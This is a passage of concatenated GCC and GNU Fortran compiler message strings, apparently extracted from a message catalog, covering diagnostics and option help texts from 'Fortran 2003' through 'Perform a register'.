constructor with named arguments at %CFortran 2003: VALUE attribute at %CFortran 2003: VALUE statement at %CFortran 2003: VOLATILE attribute at %CFortran 2003: VOLATILE statement at %CFortran 2003: WAIT at %C not allowed in Fortran 95Fortran 2003: [...] style array constructors at %CFortran 2003: module nature in USE statement at %CFortran 2003: the component '%s' is a PRIVATE type and cannot be a component of '%s', which is PUBLIC at %LFortran 2008: 'G0' in format at %CFortran 2008: Array specification at %C with more than 7 dimensionsFortran 2008: BIND(C) attribute at %L may not be specified for an internal procedureFortran 2008: CONTAINS statement without FUNCTION or SUBROUTINE statement at %CFortran 2008: Derived type definition at %C with empty CONTAINS sectionFortran 95 requires default INTEGER in %s tag at %LFortran F2003: ROUND= specifier at %C not implementedFound no matching specific binding for the call to the GENERIC '%s' at %LFree line length must be at least three.Function %s at %L has entries with mismatched array specificationsFunction '%s' at %C already has a type of %sFunction '%s' at %L cannot be called recursively, as it is not RECURSIVEFunction '%s' at %L cannot have an initializerFunction '%s' at %L has no IMPLICIT typeFunction '%s' at %L is INTRINSIC but is not compatible with an intrinsicFunction '%s' at %L must be PUREFunction '%s' called in lieu of an operator at %L must be PUREFunction '%s' in initialization expression at %L must be an intrinsic or a specification functionFunction '%s' is declared CHARACTER(*) and cannot be used at %L since it is not a dummy argumentFunction '%s' requires an argument list at %CFunction name '%s' not allowed at %CFunction reference to '%s' at %L is to a non-PURE procedure within a PURE procedureFunction result '%s' at %L cannot have an initializerFunction result '%s' at %L has no IMPLICIT typeFunction starts are aligned to this power of 2GCC 4.4 is the last release with Itanium1 tuning supportGCC 4.4 is the last release with this switchGCC cannot support operators with integer types and fixed-point types that have too many integral and fractional bits togetherGCC does not support -C or -CC without -EGCC supports only %u nested scopesGCC vector passed by reference: non-standard ABI extension with no compatibility guaranteeGCC vector returned by reference: non-standard ABI extension with no compatibility guaranteeGCSE disabledGENERIC '%s' at %L can't overwrite specific binding with the same nameGENERIC '%s' at %L must target a specific binding, '%s' is GENERIC, tooGENERIC at %C must be inside a derived-type CONTAINSGENERIC procedure '%s' is not allowed as an actual argument at %LGET uses port array index %d, which is out of range [%d..%d)GMP version %s, MPFR version %s.
GNU Fortran comes with NO WARRANTY, to the extent permitted by law.
You may redistribute copies of GNU Fortran
under the terms of the GNU General Public License.
For more information about these matters, see the file named COPYING

Generate 32-bit FPU-less SHmedia codeGenerate 32-bit SHmedia codeGenerate 32-bit codeGenerate 32-bit offsets in switch tablesGenerate 32bit i386 codeGenerate 64-bit FPU-less SHmedia codeGenerate 64-bit SHmedia codeGenerate 64-bit codeGenerate 64bit x86-64 codeGenerate APCS conformant stack framesGenerate C header of platform-specific featuresGenerate Cell microcodeGenerate FPU-less SHcompact codeGenerate GFLOAT double precision codeGenerate H8/300H codeGenerate H8S codeGenerate H8S/2600 codeGenerate H8SX codeGenerate ILP32 codeGenerate LP64 codeGenerate MIPS16 codeGenerate PA1.0 codeGenerate PA1.1 codeGenerate PA2.0 code (requires binutils 2.10 or later)Generate PPC750CL paired-single instructionsGenerate SH1 codeGenerate SH2 codeGenerate SH2a FPU-less codeGenerate SH2a codeGenerate SH2e codeGenerate SH3 codeGenerate SH3e codeGenerate SH4 FPU-less codeGenerate SH4 codeGenerate SH4-100 FPU-less codeGenerate SH4-100 codeGenerate SH4-200 FPU-less codeGenerate SH4-200 codeGenerate SH4-300 FPU-less codeGenerate SH4-300 codeGenerate SH4a FPU-less codeGenerate SH4a codeGenerate SH4al-dsp codeGenerate SHcompact codeGenerate SPE SIMD instructions on E500Generate VRSAVE instructions when generating AltiVec codeGenerate a #line directive pointing at the current working directoryGenerate a call to abort if a noreturn function returnsGenerate a single exit point for each functionGenerate auto-inc/dec instructionsGenerate big endian codeGenerate big-endian codeGenerate bit instructionsGenerate branch hints for branchesGenerate call insns as indirect calls, if necessaryGenerate checks for references to NULLGenerate cld instruction in the function prologue.Generate code for 18 bit addressingGenerate code for 32 bit addressingGenerate code for GNU asGenerate code for GNU assembler (gas)Generate code for GNU ldGenerate code for GNU runtime environmentGenerate code for ISA level NGenerate code for NeXT (Apple Mac OS X) runtime environmentGenerate code for SH4 340 series (MMU/FPU-less)Generate code for SH4 400 series (MMU/FPU-less)Generate code for SH4 500 series (FPU-less).Generate code for UNIX assemblerGenerate code for a 5206eGenerate code for a 520XGenerate code for a 528xGenerate code for a 5307Generate code for a 5407Generate code for a 68000Generate code for a 68010Generate code for a 68020Generate code for a 68030Generate code for a 68040Generate code for a 68040, without any new instructionsGenerate code for a 68060Generate code for a 68060, without any new instructionsGenerate code for a 68302Generate code for a 68332Generate code for a 68851Generate code for a ColdFire v4eGenerate code for a DLLGenerate code for a Fido AGenerate code for a cpu32Generate code for an 11/10Generate code for an 11/40Generate code for an 11/45Generate code for big-endianGenerate code for darwin loadable kernel extensionsGenerate code for functions even if they are fully inlinedGenerate code for given CPUGenerate code for huge switch statementsGenerate code for little-endianGenerate code for old exec BSS PLTGenerate code for the Android operating system.Generate code for the Boehm GCGenerate code for the M*Core M210Generate code for the M*Core M340Generate code for the given ISAGenerate code for the kernel or loadable kernel extensionsGenerate code for the specified chip or CPU versionGenerate code in big endian modeGenerate code in little endian modeGenerate code suitable for executables (NOT shared libs)Generate code suitable for fast turn around debuggingGenerate code that can be safely linked with MIPS16 code.Generate code that can be used in SVR4-style dynamic objectsGenerate code that conforms to the given ABIGenerate code that uses 68881 floating-point instructionsGenerate code that won't be linked against any other ID shared libraries,Generate code to check bounds before indexing arraysGenerate code to check exception specificationsGenerate code to use a non-exec PLT and GOTGenerate code which uses hardware floating point instructionsGenerate code with library calls for floating pointGenerate code without GP regGenerate cpp defines for server IOGenerate cpp defines for workstation IOGenerate debug information in COFF formatGenerate debug information in DWARF v2 formatGenerate debug information in STABS formatGenerate debug information in VMS formatGenerate debug information in XCOFF formatGenerate debug information in default extended formatGenerate debug information in default formatGenerate debug information in extended STABS formatGenerate debug information in extended XCOFF formatGenerate default single-precision SH2a codeGenerate default single-precision SH4 codeGenerate default single-precision SH4-100 codeGenerate default single-precision SH4-200 codeGenerate default single-precision SH4-300 codeGenerate default single-precision SH4a codeGenerate divide results with reminder having the same sign as the divisor (not the dividend)Generate fast indirect callsGenerate floating point mathematics using given instruction setGenerate floating-point multiply-add instructionsGenerate fused multiply/add instructionsGenerate inline floating point division, optimize for latencyGenerate inline floating point division, optimize for throughputGenerate inline integer division, optimize for latencyGenerate inline integer division, optimize for throughputGenerate inline square root, optimize for latencyGenerate inline square root, optimize for throughputGenerate instances of Class at runtimeGenerate isel instructionsGenerate lazy class lookup (via objc_getClass()) for use in Zero-Link modeGenerate little endian codeGenerate little-endian codeGenerate load/store multiple instructionsGenerate load/store with update instructionsGenerate make dependenciesGenerate make dependencies and compileGenerate normal-mode codeGenerate only single-precision SH2a codeGenerate only single-precision SH4 codeGenerate only single-precision SH4-100 codeGenerate only single-precision SH4-200 codeGenerate only single-precision SH4-300 codeGenerate only single-precision SH4a codeGenerate pc-relative codeGenerate phony targets for all headersGenerate position-independent code for executables if possible (large mode)Generate position-independent code for executables if possible (small mode)Generate position-independent code if possible (large mode)Generate position-independent code if possible (small mode)Generate prefetch instructions, if available, for arrays in loopsGenerate re-entrant, PIC codeGenerate reciprocals instead of divss and sqrtss.Generate run time type descriptor informationGenerate self-relocatable codeGenerate sin, cos, sqrt for FPUGenerate software reciprocal sqrt for better throughputGenerate special Objective-C methods to initialize/destroy non-POD C++ ivars, if neededGenerate string instructions for block movesGenerate unwind tables that are exact at each instruction boundaryGenerate warnings when inefficient code is known to be generated.Generated should be loaded by bootstrap loaderGeneric function '%s' at %L is not consistent with a specific intrinsic interfaceGeneric subroutine '%s' at %L is not consistent with an intrinsic subroutine interfaceGive branches their default costGive external symbols a leading underscoreGlobal name '%s' at %L is already being used as a %s at %LGraphite loop optimizations cannot be usedHardware decimal floating point instructions not available in ESA/390 modeHardware decimal floating point instructions not available on %sHistogram value statement does not correspond to the statement it is associated withHost associated variable '%s' may not be in the DATA statement at %CHow often to emit source location at the beginning of line-wrapped diagnosticsICE: emit_insn used where emit_jump_insn needed:
ID of shared library to buildID shared libraries and FD-PIC mode can't be used together.IF clause at %L requires a scalar LOGICAL expressionIMPORT statement at %C only permitted in an INTERFACE bodyINQUIRE statement at %L cannot contain both FILE and UNIT specifiersINQUIRE statement at %L requires a PENDING= specifier with the ID= specifierINQUIRE statement at %L requires either FILE or UNIT specifierINQUIRE statement not allowed in PURE procedure at %CINTENT (%s) conflicts with INTENT(%s) at %LINTENT(%s) actual argument at %L might interfere with actual argument at %L.INTERFACE procedure '%s' at %L has the same name as the enclosing procedureIOLENGTH tag invalid in INQUIRE statement at %CISO C does not allow extra %<;%> outside of a functionISO C does not support %<++%> and %<--%> on complex typesISO C does not support %<~%> for complex conjugationISO C does not support complex integer typesISO C does not support decimal floating pointISO C does not support fixed-point typesISO C does not support plain %<complex%> meaning %<double complex%>ISO C does not support saturating typesISO C doesn%'t support unnamed structs/unionsISO C forbids %<goto *expr;%>ISO C forbids %<return%> with expression, in function returning voidISO C forbids an empty translation unitISO C forbids assignment between function pointer and %<void *%>ISO C forbids braced-groups within expressionsISO C forbids casting nonscalar to the same typeISO C forbids casts to union typeISO C forbids comparison of %<void *%> with function pointerISO C forbids conditional expr between %<void *%> and function pointerISO C forbids conditional expr with only one void sideISO C forbids const or volatile function typesISO C forbids conversion of function pointer to object pointer typeISO C forbids conversion of object pointer to function pointer typeISO C forbids empty initializer bracesISO C forbids forward parameter declarationsISO C forbids forward references to %<enum%> typesISO C forbids initialization between function pointer and %<void *%>ISO C forbids label declarationsISO C forbids member declarations with no membersISO C forbids nested functionsISO C forbids omitting the middle term of a ?: expressionISO C forbids ordered comparisons of pointers to functionsISO C forbids passing argument %d of %qE between function pointer and %<void *%>ISO C forbids qualified function typesISO C forbids return between function pointer and %<void *%>ISO C forbids specifying range of elements to initializeISO C forbids subscripting %<register%> arrayISO C forbids zero-size array %qsISO C prohibits argument conversion to union typeISO C requires a named argument before %<...%>ISO C restricts enumerator values to range of %<int%>ISO C++ 1998 does not support %<long long%>ISO C++ 1998 forbids the use of %<extern%> on explicit instantiationsISO C++ does not allow designated initializersISO C++ does not permit %<%T::%D%> to be defined as %<%T::%D%>ISO C++ forbids %s between pointer of type %<void *%> and pointer-to-functionISO C++ forbids applying %<__alignof%> to an expression of function typeISO C++ forbids applying %<sizeof%> to an expression of function typeISO C++ forbids braced-groups within expressionsISO C++ forbids calling %<::main%> from within programISO C++ forbids casting between pointer-to-function and pointer-to-objectISO C++ forbids casting to an array type %qTISO C++ forbids comparison between pointer and integerISO C++ forbids compound-literalsISO C++ forbids computed gotosISO C++ forbids declaration of %qs with no typeISO C++ forbids decrementing a pointer of type %qTISO C++ forbids decrementing an enumISO C++ forbids in-class initialization of non-const static member %qDISO C++ forbids incrementing a pointer of type %qTISO C++ forbids incrementing an enumISO C++ forbids initialization in array newISO C++ forbids initialization of member %qDISO C++ forbids initialization of member constant %qD of non-integral type %qTISO C++ forbids nested type %qD with same name as enclosing classISO C++ forbids omitting the middle term of a ?: expressionISO C++ forbids subscripting non-lvalue arrayISO C++ forbids taking address of function %<::main%>ISO C++ forbids taking the address of a bound member function to form a pointer to member function.  Say %<&%T::%D%>ISO C++ forbids taking the address of a cast to a non-lvalue expressionISO C++ forbids taking the address of an unqualified or parenthesized non-static member function to form a pointer to member function.  Say %<&%T::%D%>ISO C++ forbids the use of %qE on explicit instantiationsISO C++ forbids use of initializer list to initialize reference %qDISO C++ forbids using pointer of type %<void *%> in subtractionISO C++ forbids using pointer to a function in subtractionISO C++ forbids using pointer to a method in subtractionISO C++ forbids variable length arrayISO C++ forbids variable length array %qDISO C++ forbids zero-size arrayISO C++ forbids zero-size array %qDISO C++ prohibits anonymous structsISO C++ prohibits overloading operator ?:ISO C++ says that these are ambiguous, even though the worst conversion for the first is better than the worst conversion for the second:ISO C90 does not support %<[*]%> array declaratorsISO C90 does not support %<long long%>ISO C90 does not support %<static%> or type qualifiers in parameter array declaratorsISO C90 does not support complex typesISO C90 does not support flexible array membersISO C90 forbids array %qs whose size can%'t be evaluatedISO C90 forbids array whose size can%'t be evaluatedISO C90 forbids compound literalsISO C90 forbids mixed declarations and codeISO C90 forbids specifying subobject to initializeISO C90 forbids subscripting non-lvalue arrayISO C90 forbids variable length arrayISO C90 forbids variable length array %qsIf -ftree-vectorize is used, the minimal loop bound of a loop to be considered for vectorizationIf -fvariable-expansion-in-unroller is used, the maximum number of times that an individual variable will be expanded during loop unrollingIf first argument of ATAN2 %L is zero, then the second argument must not be zeroIf number of candidates in the set is smaller, we always try to remove unused ivs during its optimizationIf scheduling post reload, do superblock schedulingIf scheduling post reload, do trace schedulingIf set, control speculative instructions will be chosen for schedule only if there are no other choices at the moment If set, data speculative instructions will be chosen for schedule only if there are no other choices at the moment Ignore 'D' in column one in fixed formIgnore dllimport attribute for functionsIgnore dllimport for functionsIgnore read operations when inserting mudflap instrumentationIgnored (obsolete)Ignoring statement label in empty statement at %CIllegal STAT variable in %s statement at %C for a PURE procedureIllegal character in BOZ constant at %CIllegal deallocate-expression in DEALLOCATE at %C for a PURE procedureIllegal reference type at %L as EQUIVALENCE objectIllegal stride of zero at %LIllegal variable in NULLIFY at %C for a PURE procedureImplement vtables using thunksImplicitly declared BIND(C) function '%s' at %L may not be C interoperableImplicitly declared BIND(C) variable '%s' at %L may not be C interoperableImplicitly declared variable '%s' at %L may not be C interoperable but it is a dummy argument to the BIND(C) procedure '%s' at %LImplicitly typed PARAMETER '%s' at %L doesn't match a later IMPLICIT typeIn %+D: overlapped variable and exception ranges at %dIn C++, nonzero means warn about deprecated conversion from string literals to `char *'.  In C, similar warning, except that the conversion is of course not deprecated by the ISO C standard.In function %qsIn member function %qsInclude the contents of <file> before other filesIncompatible derived type in PARAMETER at %LIncompatible ranks %d and %d in assignment at %LIncompatible ranks in %s (%d and %d) at %LIncompatible types in DATA statement at %L; attempted conversion of %s to %sIncompatible types in PHI argumentInconsistent equivalence rules involving '%s' at %L and '%s' at %LInconsistent ranks for operator at %%L and %%LIncorrect function return valueIncrease the IEEE compliance for floating-point codeIndex in dimension %d is out of bounds at %LIndicate the number of soft registers availableIndirect reference's operand is not a register or a constant.Initialization at %C is not allowed in a PURE procedureInitialization at %C isn't for a pointer variableInitialization expression didn't reduce %CInitialization of allocatable component at %C is not allowedInitialization of pointer at %C is not allowed in a PURE procedureInitialization of variable at %C is not allowed in a PURE procedureInitialize local variables to zero (from g77)Initialized symbol '%s' at %C can only be COMMON in BLOCK DATAInitialized variable '%s' at %L is in a blank COMMON but initialization is only allowed in named common blocksInitializer not allowed for PARAMETER '%s' at %CInitializing already initialized variable at %CInject friend functions into enclosing namespaceInline all known string operationsInline constants if it can be done in 2 insns or lessInline member functions by defaultInline memset/memcpy string operations, but perform inline version only for small blocksInline recursively only when the probability of call being executed exceeds the parameterInput file is a file with a list of filenames to compileInsert arc-based program profiling codeInsert code to profile values of expressionsInsert hbrp instructions after hinted branch targets to avoid the SPU hang issueInsert nops when it might improve performance by allowing dual issue (default)Insert stack checking code into the programInsert stack checking code into the program.  Same as -fstack-check=specificInstrument function entry and exit with profiling callsInteger expression required at %CInteger kind %d at %C not availableInteger outside symmetric range implied by Standard Fortran at %LInteger outside symmetric range implied by Standard Fortran converting %s to %s at %LInteger overflowInteger too big for integer kind %i at %CInteger too big for its kind at %C. This check can be disabled with the option -fno-range-checkInteger too large at %CInteger too large in shape specification at %LInteger value too large in expression at %CIntegrate functions called once into their callersIntegrate simple functions into their callersIntegrate simple functions into their callers when code size is known to not growthInterface '%s' at %C may not be a statement functionInterface '%s' at %C may not be genericInterface '%s' of procedure '%s' at %L must be explicitInterface '%s', used by procedure '%s' at %L, is declared in a later PROCEDURE statementInternal Error at (1):Internal compiler error: Error reporting routines re-entered.
Internal error: %s (program %s)
Please submit a full bug report.
See %s for instructions.Internal procedure '%s' is not allowed as an actual argument at %LInternal unit with vector subscript at %LIntersperse literal pools with code in the text sectionIntrinsic '%s' (is %s) is used at %LIntrinsic '%s' at %L cannot have an initializerIntrinsic '%s' at %L is not allowed as an actual argumentIntrinsic '%s' at %L must have at least two argumentsIntrinsic TRANSFER at %L has partly undefined result: source size %ld < result size %ldIntrinsic function %s(%d) not recognizedIntrinsic function '%s' at %L is not permitted in an initialization expressionIntrinsic operator '%s' referenced at %L not found in module '%s'Intrinsic operator interface at %L must be a FUNCTIONIntrinsic procedure '%s' not allowed in PROCEDURE statement at %CIntrinsic subroutine '%s' at %L shall not have a type specifierIntrinsic subroutine '%s' used as a function at %LInvalid C name in NAME= specifier at %CInvalid Hollerith constant at %L contains a wide characterInvalid Hollerith constant: %L must contain at least one characterInvalid Hollerith constant: Integer kind at %L should be defaultInvalid KIND parameter of %s at %LInvalid PHI argumentInvalid PHI resultInvalid character '$' at %C. Use -fdollar-ok to allow it as an extensionInvalid character in name at %CInvalid context for NULL() pointer at %%LInvalid form of PROGRAM statement at %CInvalid form of WRITE statement at %L, UNIT requiredInvalid form of array reference at %CInvalid initializer %s in Data statement at %CInvalid kind %d for CHARACTER constant at %CInvalid kind for %s at %LInvalid mul type specified (%s) - expected mac, mul or noneInvalid permutation in ORDER parameter at %LInvalid procedure pointer assignment at %LInvalid real kind %d at %CInvalid second argument of IBCLR at %LInvalid second argument of IBITS at %LInvalid second argument of IBSET at %LInvalid second argument of ISHFT at %LInvalid second argument of ISHFTC at %LInvalid third argument of IBITS at %LInvalid third argument of ISHFTC at %LInvalid value for %s specification at %CIssue warnings needed for strict compliance to the standardIterator step at %L cannot be zeroJava class %q#T object allocated using placement newJava class %qT cannot have a destructorJava class %qT cannot have an implicit non-trivial destructorJava class %qT cannot have multiple basesJava class %qT cannot have virtual basesJava method %qD has non-Java parameter type %qTJava method %qD has non-Java return type %qTJava object %qD not allocated with %<new%>Jump targets are aligned to this power of 2Junk after CALL at %CJunk after GENERIC binding at %CJunk after PROCEDURE declaration at %CJust generate unwind tables for exception handlingJust use icc0/fcc0KIND parameter of %s at %L must be an initialization expressionKeyword '%s' at %C has already appeared in the current argument listKeyword argument '%s' at %L is already associated with another actual argumentKeyword argument '%s' at %L is not in the procedureKeyword argument requires explicit interface for procedure '%s' at %LKind %d is not supported for CHARACTER at %CKind %d not supported for type %s at %CL%d cache latency unknown for %sLCFI labels have already been deferred.LM label has already been deferred.LOGICAL operands are required in expression at %LLabel %d at %C already referenced as a format labelLabel %d at %C already referenced as branch targetLabel %d at %C previously used as a FORMAT labelLabel %d at %C previously used as branch targetLabel %d at %L defined but cannot be usedLabel %d at %L defined but not usedLabel %d referenced at %L is never definedLabel '%s' at %C doesn't match IF label '%s'Label '%s' at %C doesn't match WHERE label '%s'Label at %L is not in the same block as the GOTO statement at %LLabel name '%s' at %C is ambiguousLetter %c already has an IMPLICIT type at %CLetter '%c' already set in IMPLICIT statement at %CLetters must be in alphabetic order in IMPLICIT statement at %CLift restrictions on GOT sizeLike -M but ignore system header filesLike -MD but ignore system header filesLike -pedantic but issue them as errorsLimit diagnostics to <number> characters per line.  0 suppresses line-wrappingLimit of %d continuations exceeded in statement at %CLimit the size of inlined functions to <number>Line truncated at %CLines executed:%s of %d
Link to emit program in ELF format (rather than mmo)Link with libads.a, libc.a and crt0.oLink with libmvme.a, libc.a and crt0.oLink with libsim.a, libc.a and sim-crt0.oLink with libyk.a, libc.a and crt0.oLink with the fast floating-point libraryLink with the library-pic librariesList all available debugging counters with their limits and counts.Logical SELECT CASE block at %L has more that two casesLogical range in CASE statement at %L is not allowedLogicals at %%L must be compared with %s instead of %sLook for and use PCH files even when preprocessingLoop code aligned to this power of 2Loop variable '%s' at %C cannot be INTENT(IN)Loop variable at %C cannot be a sub-componentLoops iterating at least selected number of iterations will get loop alignement.Lower array reference at %L is out of bounds (%ld < %ld) in dimension %dLower array reference at %L is out of bounds (%ld > %ld) in dimension %dMCU %qs supported for assembler onlyMIPS16 -mxgot codeMIPS16 PIC for ABIs other than o32 and o64MIPS16 TLSMMIX Internal: %s is not a shiftable intMMIX Internal: Bad register: %dMMIX Internal: Bad value for 'm', not a CONST_INTMMIX Internal: Cannot decode this operandMMIX Internal: Expected a CONST_INT, not thisMMIX Internal: Expected a constant, not thisMMIX Internal: Expected a register, not thisMMIX Internal: Last named vararg would not fit in a registerMMIX Internal: Missing %qc case in mmix_print_operandMMIX Internal: This is not a constant:MMIX Internal: This is not a recognized addressMMIX Internal: Trying to output invalidly reversed condition:MMIX Internal: What is the CC of this?MMIX Internal: What's the CC of this?MMX vector argument without MMX enabled changes the ABIMMX vector return without MMX enabled changes the ABIMODIFY_EXPR not expected while having tuples.MODULE PROCEDURE at %C must be in a generic module interfaceMULT case in cris_op_strMagnitude of second argument of ISHFT exceeds bit size at %LMagnitude of second argument of ISHFTC exceeds BIT_SIZE of first argument at %LMagnitude of second argument of ISHFTC exceeds third argument at %LMagnitude of third argument of ISHFTC exceeds BIT_SIZE of first argument at %LMaintain backchain pointerMake "char" signed by defaultMake "char" unsigned by defaultMake compile reproducible using <string>Make integers 32 bits wideMake structs a multiple of 4 bytes (warning: ABI altered)Make sure loads and stores are not moved past DMA instructionsMake the linker relaxation machine assume that a program counter wrap-around occures.Map one directory name to another in debug informationMark <register> as being corrupted by function callsMark <register> as being preserved across functionsMark <register> as being unavailable to the compilerMark MAC register as call-clobberedMarks all inlined methods as having hidden visibilityMaximal code growth caused by tail duplication (in percent)Maximal esitmated outcome of branch considered predictableMaximal growth due to inlining of large function (in percent)Maximal stack frame growth due to inlining (in percent)Maximum identifier lengthMaximum length for subrecordsMaximum length of partial antic set when performing tree pre optimizationMaximum number of errors to reportMaximum number of fields in a structure before pointer analysis treats the structure as a single variableMaximum number of instructions in the ready list that are considered eligible for renamingMaximum number of nops to insert for a hint (Default 2)Maximum number of statements allowed in a block that needs to be duplicated when threading jumpsMaximum number of times that an insn could be scheduledMaximum size of a SCC before SCCVN stops processing a functionMaximum subrecord length cannot exceed %dMaximum supported identifier length is %dMemory allocation failedMemory partitions should have at least one symbolMin/max instructions allowedMin/max instructions not allowedMinimal distance between possibly conflicting store and loadMinimum heap expansion to trigger garbage collection, as a percentage of the total size of the heapMinimum heap size before we start collecting garbage, in kilobytesMinimum number of virtual mappings to consider switching to full virtual renamesMissing '&' in continued character constant at %CMissing '(' in statement at or before %LMissing ')' in statement at or before %LMissing SHAPE parameter for call to %s at %LMissing actual argument '%s' in call to '%s' at %LMissing actual argument for argument '%s' at %LMissing alternate return spec in subroutine call at %LMissing argument list in function '%s' at %CMissing argument to '%s' at %CMissing arguments to %s intrinsic at %LMissing array specification at %L in DIMENSION statementMissing character range in IMPLICIT at %CMissing closing paren for binding label at %CMissing closing quote '"' for binding label at %CMissing closing quote ''' for binding label at %CMissing dimension specification at %CMissing entity or common block name for attribute specification statement at %CMissing exponent in real number at %CMissing format label at %CMissing generic specification in USE statement at %CMissing keyword name in actual argument list at %CMissing kind-parameter at %CMissing leading left parenthesisMissing required parentheses before BIND(C) at %CMissing right parenthesis at %CMissing right parenthesis or comma at %CModule %s at line %d column %d: %sModule nature in USE statement at %C shall be either INTRINSIC or NON_INTRINSICMore actual than formal arguments in '%s' call at %LMore actual than formal arguments in procedure call at %LMove loop invariant computations out of loopsMultiple identifiers provided with single NAME= specifier at %CNAME not allowed on BIND(C) for ABSTRACT INTERFACE at %CNAMELIST array object '%s' must have constant shape in namelist '%s' at %LNAMELIST array object '%s' must not have assumed shape in namelist '%s' at %LNAMELIST object '%s' has PRIVATE components and cannot be a member of PUBLIC namelist '%s' at %LNAMELIST object '%s' has use-associated PRIVATE components and cannot be member of namelist '%s' at %LNAMELIST object '%s' in namelist '%s' at %L cannot have ALLOCATABLE componentsNAMELIST object '%s' in namelist '%s' at %L cannot have POINTER componentsNAMELIST object '%s' was declared PRIVATE and cannot be member of PUBLIC namelist '%s' at %LNOTE_INSN_BASIC_BLOCK %d in middle of basic block %dNOTE_INSN_BASIC_BLOCK is missing for block %dNULL appears on right-hand side in assignment at %LNULL pointer at %L is not permitted as actual argument of '%s' intrinsic functionNULL used in arithmeticNULL() initialization at %C is ambiguousNUM_THREADS clause at %L requires a scalar INTEGER expressionName '%s' at %C is already defined as a generic interface at %LName '%s' at %C is an ambiguous reference to '%s' from current program unitName '%s' at %C is an ambiguous reference to '%s' from module '%s'Name '%s' at %C is the name of the procedureName '%s' in %s statement at %C is not a loop nameName '%s' of ABSTRACT INTERFACE at %C cannot be the same as an intrinsic typeName after !$omp critical and !$omp end critical does not match at %CName at %C is too longName too longNamed COMMON block '%s' at %L shall be of the same sizeNamed constant '%s' at %L cannot be an EQUIVALENCE objectNamed constant at %C in an EQUIVALENCENamelist %s cannot be renamed by USE association to %sNamelist group name '%s' at %C already has a basic type of %sNamelist group name '%s' at %C already is USE associated and cannot be respecified.Need a call-clobbered target registerNeed a second call-clobbered general purpose registerNeed either entity or common block name for attribute specification statement at %CNo binding name is allowed in BIND(C) at %CNo branches
No calls
No default crt0.oNo executable lines
No initializer for component '%s' given in the structure constructor at %C!No such symbol in TYPE definition at %CNon-ELEMENTAL user-defined assignment in WHERE at %LNon-RECURSIVE procedure '%s' at %L is possibly calling itself recursively.  Declare it RECURSIVE or use -frecursiveNon-THREADPRIVATE object '%s' in COPYIN clause at %LNon-extensible derived-type '%s' at %L must not be ABSTRACTNon-numeric character in statement label at %CNon-scalar FINAL procedure at %L should have assumed shape argumentNonconforming tab character at %CNonconforming tab character in column %d of line %dNonconstant array section at %L in DATA statementNonnegative width requiredNonstandard type declaration %s*%d at %CNot a valid Java .class file.
Number of memreg bytes (default: 16, range: 0..16)Number of registers used to pass integer argumentsNumeric PARAMETER required in complex constant at %CNumeric operands are required in expression at %LNumeric or CHARACTER operands are required in expression at %LOPEN statement not allowed in PURE procedure at %CORDER parameter of RESHAPE at %L is not the same size as SHAPE parameterORDER parameter of RESHAPE at %L is out of rangeObject '%s' at %L must have the SAVE attribute for default initialization of a componentObject '%s' is not a variable at %LObjective-C declarations may only appear in global scopeObsolescent: arithmetic IF statement at %COffset of packed bit-field %qD has changed in GCC 4.4Old-style type declaration %s*%d not supported at %COmit frame pointer for leaf functionsOmit range reduction step when performing complex divisionOmit the frame pointer in leaf functionsOnly array FINAL procedures declared for derived type '%s' defined at %L, suggest also scalar oneOnly generate absolute relocations on word sized values.Only intrinsic operators can be used in expression at %LOnly issue one instruction per cycleOnly use 32 FPRsOnly use 32 GPRsOpenMP directives at %C may not appear in PURE or ELEMENTAL proceduresOperand of .not. operator at %%L is %sOperand of unary numeric operator '%s' at %%L is %sOperand of user operator '%s' at %%L is %sOperands of binary numeric operator '%s' at %%L are %s/%sOperands of comparison operator '%s' at %%L are %s/%sOperands of logical operator '%s' at %%L are %s/%sOperands of string concatenation operator at %%L are %s/%sOperands of user operator '%s' at %%L are %s/%sOperator interface at %L conflicts with intrinsic interfaceOperator interface at %L has the wrong number of argumentsOperator interface at %L must have, at most, two argumentsOptimize for space rather than speedOptimize induction variables on treesOptimize lui/addiu address loadsOptimize sibling and tail recursive callsOptimize tail call instructions in assembler and linkerOptimize the output for PROCESSOROption -fwhole-program is not supported for FortranOptions:
Out of memoryOut of memory-- malloc() failedOut of stack space.
Output a class fileOutput instruction sizes to the asm fileOverlapping unequal initializers in EQUIVALENCE at %LOverride -mbest-lib-optionsP descriptor requires leading scale factorPAD parameter required for short SOURCE parameter at %LPARAMETER '%s' is used at %L before its definition is completePARAMETER at %L is missing an initializerPHI argument is missing for edge %d->%dPHI argument is not SSA_NAME, or invariantPHI argument is not a GIMPLE valuePIC code generation is not compatible with fast indirect callsPIC code generation is not supported in the portable runtime modelPIC is only supported for RTPsPIC is required but not supported with CONST16 instructionsPIC register %qs clobbered in %<asm%>PIC register isn't set upPOINTER object '%s' in %s clause at %LPOINTER valued function appears on right-hand side of assignment at %LPRINT namelist at %C is an extensionPRINT statement at %C not allowed within PURE procedurePRINT_OPERAND null pointerPRINT_OPERAND: Unknown punctuation '%c'PRINT_OPERAND_ADDRESS, null pointerPRIVATE statement at %C is only allowed in the specification part of a modulePRIVATE statement at %C must precede procedure bindingsPRIVATE statement at %C must precede structure componentsPRIVATE statement in TYPE at %C must be inside a MODULEPROCEDURE at %C must be in a generic interfacePROCEDURE attribute conflicts with INTENT attribute in '%s' at %LPROCEDURE attribute conflicts with NAMELIST attribute in '%s' at %LPROCEDURE attribute conflicts with SAVE attribute in '%s' at %LPROCEDURE binding at %C must be inside CONTAINSPROCEDURE(interface) at %C is not yet implementedPROTECTED at %C only allowed in specification part of a modulePUBLIC statement at %C is only allowed in the specification part of a modulePUT uses port array index %d, which is out of range [%d..%d)Pack VLIW instructionsPack structure members together without holesPadding of %d bytes required before '%s' in COMMON '%s' at %L; reorder elements or use -fno-align-commonsPadding of %d bytes required before '%s' in COMMON at %L; reorder elements or use -fno-align-commonsParameter '%s' at %L has not been declared or is a variable, which does not reduce to a constant expressionParameter '%s' to '%s' at %L must be BIND(C)Parameter '%s' to '%s' at %L must be a procedureParameter '%s' to '%s' at %L must be a scalarParameter '%s' to '%s' at %L must be either a TARGET or an associated pointerParameter array '%s' at %L cannot be automatic or of deferred shapeParse error when checking module version for file '%s' opened at %CPartitioned symbols should belong to exactly one partitionPass -assert pure-text to linkerPass FP arguments in FP registersPassed-object at %L must be scalarPassed-object dummy argument of '%s' at %L must be at the same position as the passed-object dummy argument of the overridden procedurePassing internal procedure at %L by location not allowedPay attention to the "inline" keywordPerform DWARF2 duplicate eliminationPerform Interprocedural constant propagationPerform SMS based modulo scheduling before the first scheduling passPerform SMS based modulo scheduling with register moves allowedPerform VR4130-specific alignment optimizationsPerform Value Range Propagation on treesPerform a forward propagation pass on RTLPerform a number of minor, expensive optimizationsPerform a register 